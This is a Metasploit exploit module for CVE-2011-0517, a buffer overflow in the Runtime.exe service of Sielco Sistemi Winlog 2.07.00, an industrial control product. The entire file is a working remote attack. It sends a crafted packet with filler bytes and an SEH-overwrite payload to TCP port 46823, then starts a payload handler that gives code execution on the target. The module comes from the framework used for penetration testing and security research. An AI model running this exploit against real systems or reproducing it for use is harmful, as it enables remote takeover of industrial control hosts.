##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Sielco Sistemi Winlog Buffer Overflow',
        'Description' => %q{
          This module exploits a buffer overflow in Sielco
          Sistem Winlog <= 2.07.00. When sending a specially formatted
          packet to the Runtime.exe service, an attacker may be able to
          execute arbitrary code.
        },
        'Author' => [ 'Luigi Auriemma', 'MC' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2011-0517' ],
          [ 'OSVDB', '70418'],
          [ 'URL', 'http://aluigi.org/adv/winlog_1-adv.txt' ],
          [ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-11-017-02']
        ],
        'Privileged' => false,
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
        },
        'Payload' => {
          'Space' => 450,
          'BadChars' => "\x00\x20\x0a\x0d",
          'StackAdjustment' => -3500,
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Winlog Lite 2.07.00', { 'Ret' => 0x011946de } ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2011-01-13',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([Opt::RPORT(46823)])
  end

  def exploit
    connect

    data = [0x02].pack('C') # opcode
    data << [0x0101].pack('n')
    data << rand_text_alpha_upper(588)
    data << generate_seh_payload(target.ret)

    print_status("Trying target #{target.name}...")
    sock.put(data)

    handler
    disconnect
  end
end
